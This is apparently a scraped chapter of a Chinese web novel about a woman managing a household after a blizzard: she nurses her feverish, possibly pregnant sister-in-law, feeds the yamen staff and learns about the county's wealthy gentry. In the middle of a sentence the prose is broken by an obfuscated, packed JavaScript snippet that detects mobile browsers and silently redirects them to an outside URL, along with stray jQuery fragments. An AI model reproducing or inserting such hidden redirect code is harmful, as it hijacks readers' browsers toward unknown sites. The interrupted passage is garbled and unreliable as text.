124. 第 124 章
作品:《屏屏的种田日常》 王秀这两天不舒服,头脑昏沉还时常恶心头晕,睡下去就不想起来,荣田溪给她灌了两个水袋,让她抱着好好睡觉,不用管外头的事,她也是实在没有精力,外头吵嚷得那么厉害,还是睡着了。
盛屏让唐三把生姜找出来,熬姜茶,她还去堂屋拿了两罐子红糖出来,“把这倒进姜汤里。”
唐三咽了咽口水,“熬一大锅?”
盛屏点头,“对,熬一大锅。”她又去米缸看了看,还有半缸,“李婶,把大米都洗了,等姜汤熬好了,就煮米粥。”
唐李氏也动起来。
唐英和唐花只管往灶里添柴,顺便烤烤冰冷的手,她们的目光随着盛屏而移动,时不时露出艳羡的眼神,她身上的皮氅一定很暖和。
大雪一直不停,城里的吵嚷声却渐渐静下来,衙门里,衙差排着队在后院喝姜汤、吃米粥,二十来个人挤满了院子。
荣田溪和唐三两人一人舀姜汤、一人盛米粥,忙活半夜,直到拂晓,才停下来抹一把额头的汗,各自盛了一碗姜汤,微辣微甜的水入肚,才缓解了周身疲惫。
王秀半夜起了烧,迷糊着呓语,盛屏艰难喂她喝下一碗姜汤,荣田溪进屋来,轻声问:“她怎么样了?”
盛屏神情严肃,“请个大夫吧。”烧得厉害,身上的里衣都湿透了,盛屏给她擦身换洗了没多久又湿了,这样下去可不行,万一再托严重了,肺炎、脑膜炎、心肌炎,哪一个都能要了命。
荣田溪从柜子里拿出一件兔毛短氅穿在身上,“我现在就去。”
他刚走没多久,王秀就醒了,她烧得嗓子都哑了,抓着盛屏的手颤颤巍巍的,“嫂子,我上个月没来月事。”
盛屏起初只点点头,后来反应过来吓得半死,这要是真怀孕了,那可怎么办?
荣田溪顶着风雪在把县城转了一个遍,手脚都冻僵了,也没找到一家药店,倒是与蒋鹭在街头遇见了。
蒋鹭刚从一富户家中出来,身后跟着两个衙差,一人手里抱着几床被子,一人拎着竹筐,是一筐子豆渣混着些微面粉做的粑粑。
他见荣田溪鼻子冻得通红,皱眉,“你是特意来寻我的?”
荣田溪摇头,风雪吹冻得他说话都不利索,“秀秀病了,我是想找药铺请个大夫去给她瞧病的。”
蒋鹭揽着他往县衙走,“城里只有一位桑大夫,昨天夜里他被家里的房梁压断了腿,这会儿在王府修养,暂时动不了,我已经让王捕头去成县请大夫了,估计要明日才能到。”
荣田溪一下子急了,“那怎么办?秀秀高热不退,嫂子照顾她一宿没合眼。”
他经事少,又事关妻子,四下无神,慌得厉害。
蒋鹭捏紧他的肩膀,“别怕,桑大夫虽然受了伤,可他家药铺没事,店里有伙计,有现成的风寒贴直接买回来就成。”
在街角他给荣田溪之路,“你顺着这条路往前走,在第一个路口左转,走到尽头往南边走,第三间铺子就是了,没挂招牌,你仔细点儿看。”
荣田溪匆忙跑去药店抓了风寒贴回去,可盛屏却不敢让他熬药。
盛屏盯着桌上的药,“要是真怀孕了,这药恐怕就不能吃了。”
荣田溪不理解,“怀孕了还发烧,这药更得吃了。”
盛屏没法跟他解释太多,她也不懂药理,只能依靠常识,那过了冷水的帕子缚在王秀额头给她降温,再勤擦身体、勤换衣服,又用小炉子给她做蒸蛋、做红糖荷包蛋。
下午,王秀的额头没那么烫了,人也好了很多,有了力气,能勉强靠在床头。
王秀摸着肚子,愁得厉害。
荣田溪坐在床沿,皱着眉头,“嫂子不让你乱喝药,可是我把药熬了,你要是实在难受,咱们还是得喝药。”
王秀只眨眼,“外头怎么样了?”
荣田溪叹一声,“雪一直不停,民宅几乎都被压垮了,城里的人都安置在王府,蒋二哥带着衙差们忙了一晚上,买衣买粮买柴,现在算是稳住了。”
盛屏心里挂念着王秀的身体,又担心在外头奔波了半个月回了家却连家门都没进又忙了一个通宵的蒋鹭,她让唐三拿了些干梅菜、干笋、干蕈菇和腊肉出来,泡水洗净切丁加调料翻炒,然后把粗面白面混和了做成馍,陪着炒好的臊子一起吃。
做了一大锅,也不必分餐了,大家伙一起吃。
正午过后,风雪停了,没多久蒋鹭回来了,盛屏把堂屋的炉子放到礼物里,上头一直温着水,蒋鹭擦洗换衣后到堂屋吃饭。
他是真饿了,连吃了三个馍才觉得胃里有了东西。
盛屏又去厨房给他打了两个荷包蛋里头放了红糖,吃过饭,蒋鹭来不及休息又被秦方叫去了前头。
盛屏只能问唐阳外头的具体情况。
“民房大多都被压垮了,现在人都在王府住着,天晴了以后,估计明天起就要开始化雪了,这么大一场雪,估计城里会有积水,过后还得重建民宅,事情多着呢。”
唐阳也愁,今年是个丰年,本以为是上天眷顾,谁知道一场大雪从天而降,这才刚刚入冬,估计今年春节难过了。
盛屏现在无比后悔没多买点儿粮食,也不知道现在去买价格如何。
下午王秀睡着以后,荣田溪和盛屏上街去米铺买米,价格比之前贵了些,但还是比岷县的米价略低些。
盛屏算人头,买了一个月的大米,又买了没去壳的稻谷,其他粗粮、粗面粉也买了好些。
她打算囤粮,但看米铺老板正常开门做生意,好像半点儿没受风雪影响,街面上也是风平浪静得很,盛屏隐约觉得不对劲,但又说不上来,只是在回家以后,让唐三把后门和侧门堵死了,这下要进后院只能从正门走或是翻墙。
王秀在床上躺了三天,人基本已经好了,就是手脚还有些酸软,但已经能起身,正常用饭了。
盛屏和荣田溪这才放心。
蒋鹭这些天一直在外头忙,深更半夜才回屋休息,盛屏担心他白日里不能好好吃东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311474|155811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,就让唐三每天早上做咸肉馅饼,让蒋鹭带着出门再吃。
大雪过后,跟着就是好几天的艳阳高照,冬日的暖阳不炽热,照得人暖暖懒懒的,就是外头不能看,到处都是污泥雪水,稍不注意就会摔跤受伤。
民宅重建的事一直没有动静,老百姓自打住进了王府,从不闹事,起初,盛屏觉得这还挺好,不惹是生非省了多少心,可是三千多人,管着他们每日两餐和一夜的柴炭,花销很大,前几天全靠蒋鹭当日挨家敲富户家的门化缘得来,但那只是杯水车薪,再往后粮食成了大问题,上面一声不吭,半点儿不来气,蒋鹭成日外头跑,把城里受损房屋统计好了,又要去乡下统计,有时连着三天不回家,他在外头跑得焦头烂额,刘张管着王府的一摊子更是一个头两个大。
桑大夫伤了腿,救治以后的第二天就回了自家药铺,之后药铺关门大吉,任谁去敲门也不应。
成县来的王大夫,又要看外伤,又要看风寒,虽然带了两个徒弟,两大箱子的药,每日也忙乱得很,他是来帮忙的,说好半个月以后就要走。
刘张手头没钱,县衙公账也花没了,他既要筹钱买粮,又要拿钱砸开桑大夫的药铺,原想着找些交情好的乡绅应急帮忙,可对方但笑不语,他倒也明白,转过头就抓着盛屏一道上门。
盛屏被推出去跟各府夫人周旋,硬着头皮聊天说地,可恨老天,可怜百姓,眼泪狠狠流了两滴,只换来十两银子,她跑了一天统共化缘一百二十两银子,结果回家一看堂屋里的桌子上堆了半座山的礼盒,里头不是金石玉器,就是布匹胭脂,把她弄得哭笑不得。
过了两日蒋鹭一回来,盛屏就把他拉去堂屋,问他那堆东西怎么办。
蒋鹭叫来刘张和秦方文他们之前也是这样吗?
两人相视一看,脸上表情古怪,还是刘张年纪长了些,开口道:“这是大人们的私事,我们不知情。”明摆着行贿的事,非要说出来,是不是傻?
蒋鹭将他们带去书房,盛屏送去茶水,本来要走,蒋鹭没让,于是她也坐下,静静聆听淮安县这些乡绅富户们的来历。
首富王员外,占了淮安县境内三个码头,又有万亩良田,一向不把上官看在眼里,像是前任县令王大人,初来时热情了两天,等查到他只是青阳大族里的分支庶子以后,只每年生辰、春节时送一二玉石摆件,平时根本不往来。
往下的成员外,是淮安县最大的放贷人,对官府倒是很巴结,不过他的人脉主要在成县。
柳员外、蒋员外两人是三代姻缘的世交,淮安县境内所有米面粮油铺都是他们的。
这四位是排在前头数得上名的,在往后的绸缎商人、伞具商人、木器商人都是小角色。
他们有钱,房产也多,现在大多住在邻近的成县和茂县,这两个县地势高于淮安县,而且有一道天堑——青山,自然形成了一道河湾,洪水翻不过青山,也就不会对当地造成影响,反而因为雨水丰沛,渔业发达,船帮也自成一派,贸易发达。